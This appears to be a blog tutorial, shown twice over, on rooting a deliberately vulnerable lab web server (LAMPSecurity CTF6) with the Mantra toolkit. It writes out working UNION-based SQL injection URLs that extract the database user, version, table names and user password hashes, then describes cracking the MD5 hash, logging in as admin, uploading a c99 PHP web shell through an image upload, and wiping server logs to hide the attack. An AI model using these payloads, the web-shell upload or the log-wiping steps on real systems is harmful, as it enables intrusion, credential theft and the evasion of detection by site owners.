Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMITk8PEnhPrSWuGtS9afOjREjqk_UDvmumAl-2bZxeaOwORJtsAnKVA9eODiyNBCYbGj9wkKrafh3kXIBfm8k21JaeODbu0e4jYFW6EuPPXCLYi5FWSzGb5egpchX1di3NyprnG71sdJUyUXK0PszosP1hGghp0v3tko5SG3Gwp6v=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7xqJT-GBJvXqfi5HgzMvucrdj_cSVUAoc1zvYK6ppl9pmk38xv-4RcaGtmAcq191sVZ6VWHSIx3dmZcXCUWQB5XtotP6vaZDEA8nzmsutlmiCt37qO0TEr7mZQI7LrdSy21sfMKA45a2qoPm4FO6nhxDTCg1Uk-t0hgEaTtBKMtH7cg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVj8rH456sFj_JCuPZVNrIe0Bnrjvn8J1MalQ68f2KZIn6GJ2kVCd52L9_GkYIEi1bnPn_mWGM4yiNHReAd642y5PUisUSRgPQyP9C8eCf0I8Czr6bDAS5asWSIO22yrzbJBX-9oYzyKWbOnfJPAG-2Menyasyy4lEvzh0u5hPth9l3Q=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uPiS1jq_3hpriGInx96KGmDixKGhaxsNdYc5TzgqQ54tJMRqC6a5xXg9gw0QXsyl1mtqLb86hhPQ-prApw0yuTLgHaxY1kPOQ8UQ10CEGA7H6gxaxTN2q9zWs3figbr5F6qmWzjB5jLIyqe14IoOmUtumt6iGk8TOXD57FcpRCP54Qng=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tpdnowPvWm-_0XrCT57hJ4uR7hqbkiXg1Ct061n_RWjoGlviNPX2Ms6xgtXUHpJQ_2nFAlUrLweVyVzkg77FUb83eq5SGDHLcCX0tRstCCQR_9rtcl0kVz3hz-c6b7rbN4ENvGrY2ofUvLqPMKnhPpD_LAudR_5rwdK0L8oSh7nRJ-bA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sNsSDk5IxBlhiM8cfMkcUfcSBT1WnY7dxDMIzTShdpIyMLPvxiEQkxZbwXg9OVm3qVCciTk4pi4qT2_5-SxDSVKulfZhbuHylz_INQgOHqx_FXsywrBgtZfRJF6hogtBKhkrC34jhlwTAskytifa2t73Mdbi-53IzR-YBBywBe2b5f=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vffXPBHWHOSF_wTb04gC7eAe13n-xWvb2JwBpcMcuzS-X1f7X2x8hZkUkOzliScLJDYttnLbwaEkmGYZgRFCSMAPkjk-QyVQrzkPk2UwaLEQqpHdKTf0dGtl_yzoXeGjOojb-aSr-p_btEM4crEgAWFLqb0j-8QD9atuAqIf97MlvJyVA=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMfRQCTdIPQ7oqSK7vsba2ki6liNKk1dzPhbRbyJilmLcIfbg4u5o_fpi2tgMpsJV77vSUYnFLxOCsFaIu-umQLdX-mSNxfpcekQlJ9WtGzNkGJwX0jRW4I62oP2BeYSz85dvvDZQcQOyxOkN5FZw0wuVlwz6eIuih_aYhHWvink81MPg=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sk8rG6z9-XE3jYy5i_DHtBqWlvr1rBGCisZRCYcP5zDyylIDxXisvCclmMHsPQw31lMMsVx9pDKwndszSh7Kj7TdQsIoCrsqyeLT1-H-JRffHuxk2ZT2q3dwfY6yk9wWdD5oyH0X7vEz7i0SjHQF4FCxYp62CuVqQ4EE6d9II_MYHuOFY=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sil89JqmHYo9DhrnyACyM8a_597W5Pv-v679E4tneaCg9zQEwAy-fibMYRaNCMqPC3C7SyRyhjcAnw7iqiL56JthqrdhC5Ka_Y14XJjDklyAv5K8K9QJpT77FYbg97v2k60SaAuRRW-vBfGVhSxaTINtsg1cxiMQlT5yWrRxcHdk_u6MI=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkIs_Mm83khH02zhOnJ_RuHqVaRouiWinNK03g5FMentiMPy1nH3k1YpyTM1Zi6CHQwLKdhVhs2cOGTdjrlZhhfHE6_4EWRXzpyudV1LqKHinmd9py3Ed3oa2cLJD7x-pZmaOwigfW-o7CCh7cZfdVbClX_e-lUFrPQSZE2yj4dKstlQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDJaPXr_gbWewadsbC_xg38MBDOwFLwdEkHbH2OmOHbAwUxJKuP1-kexrchnY1MscYJ8xuy6B3nGCxS9WXvGeLDcemGmM_Fbdp4qVPNMJyOeK9aw1OTNEJCnBVk4fGh3PZzGE9-a37DmcgXnWHSAlnZi3F2zsP1bWXOotVoXZ62qWl-xw=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syeEI4ORs38PSIciGP4C-qUKtlFLFMPSDu8PAx5h65WNVhQQJA7tRCfq6NO68meLfPupgK7Qq6y75P7yd2dz_rFQA1QhrsvZma7mSD21e9VS3Tptq6w3DNF2SJauahSOG59Y6BGcermr44NzhuLHBS0Vk9WEVY63FnA7Mry4i1DXzvA1M=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uInFqis7hiJGQvUrOJAS3uKEqp3YZCpIFTyYa2agY3b_poKeEBU-cEx1dED56ikAaqk8lemDMN9guJ-KmZ9_rT0RkHE3W1rjU0UQJiSOqpCeQsHjUncEigyb9utJqdhEScN2AyLmJI63QF0wvX6uoT7M0e-q7n5Y0BErvN0u8XSaR3GQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tf9aKDBo1rtjzoEILDWkUF0lf3gWsXfi2mYeUfGybClDQ5ODOqLDmgg2Q-UL-0r9pGZJpbVoLJ13kLcojI0xApf5Y_R8NWgttKTDSqnUkkKEHg5Sr9HOZ06i44bltMnmsKk1cwZhohM1RafW6NJbpMHYcj5nHiQgKeNQwplYDi2q2_kA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uDFvmCrWOCB7j-0LJjn92IJZvzlkJJGwwj5LPzQQHn7QXyCXuEcS97bxbkoabStGcAGnwNMWR-6Kuin2uDKcFuBZGPb7byZfGEmu8RydS2fYn15sWKkO-asgwlkAerLZ4o0wMobptPQMrm_8fxDYZ2uQrcNyxKNHYXKm3Oy8RyLQLIBu0=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGOKwjfjIy4gRpQoLQ06emWtd-F_FRNf6qzrLbZLJ7L2bX-iQnUcIrRB4dMPHXkSTG4JSHI6LfyU4uymyhSoIw9usXNLZ7x7igUQKw5j3q37yGv0IPrWCZiPi3JgYrh7IC0OyJ4jWd4ebvhu_zSQs46v-VWuNAGAXE-KZrHqL0Xu4DR5A=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5UO0Xr9dcsPEm91d2CItfpOgJf21bJ6Uwq_eaT0WQ5M4c3ma9CYj1fx-Bnm3lt6gSniNFtbJv_POpK6WvHgNIu77YG6M-bh0mpHKNfDZQkxMP_dvnxmOg9B5pSuT6kpXM5MVnG7iFwoD1QJ9PQMj1wYEZNyt29f_KYbXEzhWyC8RIJDU=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxU_9Dm5NLCswzH_2saoZ5H11eWTB9rMLjfrWdA3TbPTnO0Vi7aQs-udKxj7vWGt1OyRME8g9b5hRPgRRA1dTWD65sp3fRvQ81RqAbmjwCbVEw-kixgFCqhzZLjj5XkTNZmWDqDC_B-ZE9eKG0Od928Hq-rtFls7FEGdEbkKXz5fdLacc=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2zp8WcqETND_fcCMYhxe1xZ_meHl0mSKomZX1hgfgVucX3X5zdS65NG2xgQN5AXTygjnAn4BWD09biZoNkI7lWUOtgskUgVY2i5MAD6hOeEyg4CVw1Ycd2WkmBmrVjjgP4E6uiW61VOUQaMUX8S0MR9-B8LjZswX5l8mGqKp53PP7irM=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4jnJECqDIJ_nXcfVyhx6QnH0lIaCLQNxy5JyVrqeRe-3c2SlbrOnU6KUvYuXSosxT6k66kq5xejodRg3sNstWkdPPhWiPNrLDqU2NZzS6q2ExRSAAHxY4DHnNFPp9lm0MrkFK5OO0Nu4auoTX2CYsyJCOTy-uOpMhvjtm--3leoXZ568=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vOmM0ltijRtYsLyFh4pnLEB0GcdWKsQ8wmBT4wAl52Rjcod7AcMIozLVdsx5tuFfSd8toohedk0uADC5uJNkatmYwQ_1f4hgrBG5dO4atCC283vjK4K9ko65E3RmgpuQxMLMEzzKc1hmgzRU4kTMBMUnYMRibsS7kp0V-QC3egC8paex4=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tML3QLvRd3xlU98DCQ9kvSbXDbY1Nf7-KJsChd34O4Ree_p_fzfqP7goYkA5_dQc35T7wRCKE92taCv4Bv2OY6ld2MllB9VDGuDJ1nEBs9rlZu54nr-Z-bAyTKhjH-IUBdlt-Ic2GjprYtIsid8g3dDc6A2_X8UuCxGCNRTmZQqF1Rx5A=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQlXOiszD54xCbNRpM5yNYlBZ3YPiC0X9zqaHpN5TkfOY9qsbZA-3AZ-wNw8u3gFHx5HrObbCT3Yq9dN3mL-18QSXRUYqnAg6yJtWwUwOKwgpzkg7a6co9QcO7agIEi90jnUmcoAZdRkMbcl1yuYfV2YIG7lcwEF_XVraWXtwAlT-KCyc=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sENRLxeH6H0kxj7QtrKwz8p1EauXMx9XNeeAM3i4ZM-kwcIIbLL3wVQ-5Y9r_L5wIgnBBjIP1GcUbXFCoG4T2abL0qovj-D7TQorZNYm83ljGGb3gpg1dipK4N5k5fdK67lscTde8wLu3q81HVApIdHzw8bUboTgh-1_TmNOmgx5XBvg=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqn-INxO3CoZ9lKKDcicT5TxE0VM1SIgJzSCLlLY39PsaF_B2BiorpP6NdIQq8KPWMCW5tlyPZP4gk1bS9s1UdwBeni1CZdEhIKsnPBjLQVtXKEWQiQgsO10zROxuUMqUy_nvaakyeWTOqtaLARh_3zgoUanJWrJMSc6yYrijbYc6jkQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJ5zYLFAfPDcNgO0dEGIqxWPDQXChTc7ovKZ0jc5gpVZAvZuZAhF5KT9Lcb5CZJgJoYCV4UBn6-SFl9Vv_zD0Ho47hqS6KYel0fMqRhMsOxDRKFWiaD5x-J8H_4WNzaKb0XiwFpGSXJa1llz7AVB_a5WhL0sKTCBf7ssnm0bU274RXEnw=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVOeG0JgQhAO6bcvTAIyMt4-x45l-8NcDibmHzrEE9mYIyo8hlmFkPnyZhMEG6Rs2Nhb3L9NULxnttAnBS9lGI3p6h4jndtN4TBIe7QCYGNoNitupiu50HctwW6krKAKj7tFWNpZ3EyYottR1o2PVjpaesqxekyeSIDKT8T9f6hmvWe_M=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjczf9Ve3B5NG5e3wC4ER5w1aILdBLkuiS5D4fpK7ontu2-iSYtxxprqYoMVO48AFOtNV-VhESJcFmWz3muBgVbBN_ZWXLSxpzHOZd8xugtLTDx9sqi_uNUddSU_CoJiYsw6MVnVg1GDetJVWd1ygwuTJup0pDEJZXcXu-1UrW198qcA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txJTHJFR4fOVSSdeZzv4niOkucumeBxttUIzNIoOEcpARWYGT91txykr86A0jQlZXQTwjGzqpEeSCh4MB-RpIg_8jOt1iGflMNqJ7V82j4OP-8KV1TzYuLLrPrTj2S1IXNR84_k1-4uMsrzILxxbvCrRDWwc8n19SDZifr8CZkIJyIwLI=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjQnbZWGu4OJfMXRgibRodMk8iUV2flm2VE2ZeCC9XfZcYQSHzKaU0hasCKr7VCdXMcKHxQMWKUt0vvZ-KBgMrHrbgbYGMzsBVVFncmiqAV_i2e9FwtStbGorWtoHSexwstFqUoeBgogrh-f-o50HXnzuDgKPXKdKA0qgz501JtDpDnOk=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uR8XsoVAFE9xTwkZ6Qm9frpA8_o852oPc3Ce82bCHaOT_UqdyXSKHKuOFfeXMukVTbjS452_dAimV-pG1A2VCMT_nGGP3MKp0wIL7d_aGXQSCrXzIhstBcPZKFtW_dhs5n8CdgfgcVhGdDOZdqjtBXkLlJbhgX5EHedRSez9Xu8QOShhY=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQimWY1Xi0Fv0NpkOPE1LGuln6PBm20KbiPBeuoqqV0hfwU1tmfE7euQFl7d6BpZG1hiAA9vGM0UHVygWMr134BvOm68f34nMtYM5LMr5EEjSx1Rzbo_T1o3C7tJu-uVRI420-vBRSRYpfmqRkqjKgk4i1W8cuG--2dIKBTgSv97AwC_o=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v4W8OMSQMXcZGSgctaxEsXfSxq1Ld2DeNOF7n2RH9pOqCmcpN1uht_b3U5gWZg9IM_EHlhRTaefyM9c7LJAiIVa-VbrdKclbN4ibnctM8BoCyewpft5awifvljbFapbdNVw9veY5oDUIWgll-y8NGqQpRjjaYICVxBxV6uKE2MGMQnvP8=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vA6smhTUGL_zUzqbBYztSaRXx4Wl_fFe7WMBdi1gsxuwXM0jhcxpARQpj9UJ2SmZ9ZIr-TYEcELET-hrm45O0SDrtdaQozHRIf9DahVKDKyarb8JekWjy4mnnWdhlHvT1XA_-eeqJjRNM4ujPV98dgE3TYArYtQ79a0u6AYTlvox5BNc0=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sikvSpqVeoG8DNCGDFaOU_HS1UlEaq7K7RLV6uGBFz4boKfy9Q6VidwtTE50iBNS39_GOTE1eaRs44XDk8xoCeAeXlnPzYjChaGb-7bp42S0MQPOfLWXujyu4F_VKscAgBAU2nKoFoy07Xl8z4tNfFY_mkWWD0pHzF8DOnB7VYzcVzRa4=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va0mwlrtCAdZsIATwVjaiAD5XCZHwj0A1wvVh8gFcxIMbjEUg22MqzcPDWBdBpOPYXtYub7Dy39IkhlVfNaYx0ED7aHyjQmoB60TAX0jAqzGAqXJeXowXCKwVoJB-EOGDLvMRuXDQE9L021fSw3HtYxL3qdwX89hF4y70FMs6VoLhSgQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufioZeHJwYuV3pU8-DRSXVm7rpqqI7LWDYFhZuv5BA9NQtSCND4wGM8QbHUKkyH84p8xKsXKQYu12Gyw-jQeqIMuQ5OIDc92mHh2rDyVU7-rvrl62kU1Z8VkgP3tktrpUv6dSsDgCci31YuEo4E8EgLMaL8wvwCg9QZij4gO05MjsgXEM=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sW6s33fHhTktW5Up92j_vphLR_Ckuz3u9qYb56zS1Al0kriT25llksKPyXONz0LkEL4fESKTHzxuq4Lv12vv9kp5jR7A6ayvLehIudeNEXw0uk_BOjZXT-284ZCyvTZv2xJCg94jbE-rT91uVk2G4_z3FUZ5CY7UMnhgl-I4c5WTBXrA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s44uEau3odO2N6bxkdiETJrIB6q_B52248N7SCshaijZfz7K4Rx1B7k_HVBoJZ1Ry749_Ao-d6dOv_0ALJvsSobNAECkmaG3qBXbwOUDRUfbDmi9hrvbVLFHLUakYTT30FJ24AJiRpOTe1A6RCXZ-nD7nOEP3gdS_oQPTzBQqrPdjRbw8=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u05aSd3ebruzoqhy65ONNaCm9pgXQkREOemUzByrfpVvt-T0n5gf2QxXMdyViQho9Pe5J_7iBzcTEKhValY5xM-TWOshs6ecVhzADdnKGrszxaId5sU7F62k1dpiuTrramfEmeG2iq8DvzgaPQ3sTE-Q0X69ekquBa6MTKcTJ5Sl0EXmg=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vRqPL4sXimkH8jgnH9k_GeCy0j8LHlaVZJsXJxOUlxZPocd1zv35BED06KJePFai_-KWq_fPrwkgFTpR8J8FwjiEI9lkxdh0dvNLJGtysbb7KYHFCs249AoVoIICPdICW4uEdp7ofBhNx1wlRcjXw3ebA3wP_AFrmaCe4iQsXCyY5If2c=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueS2rSJAvhFQUNS0TlqSa1IbaAzUsk-8oCp9EWv-5vOky4ccKQ5k4dsEslEM_quZBRtZI-Yc0YzlEa1LiHzzusskRYssyEj349Y5yVIvGTQ2NOmOQ54kX9wHBJaCBPy-o11SmdClbsFgMnh8ZbsaFy3fWcOrzcoPLauV_x1wVDWg7EpOI=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tW2uke_cqglcAihysZu3v1fCUUQRFKD4xe7EYgYBICMgVpaFCR79u0J7Z3LhA3cAtcEdaWqJIQnj8GmdEomRzl-mDGKFSRuyaa54B4c_vcsyVaCHHndlaldxSY57MeAxaQa_h9JKmgc-iprCodksM6Q5jw5JbUXi9VcXoylK8ZjTpDEA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tntZe1qyWITvEJD8MP9IL2wVtPRomdNZrvQ7Ea_LcLDcQp51ELtoHUSgogvDG1NnUwwcPAv2oNWSYqTZheaxNyhxFh2jCmpvxfzdPxBaFkVv1LgNQNj56MmFJPsG87MrEAvT2mC8OyoLzcomd12ww1V0HuTF395QEIEqk9F7uPXcYJJAM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete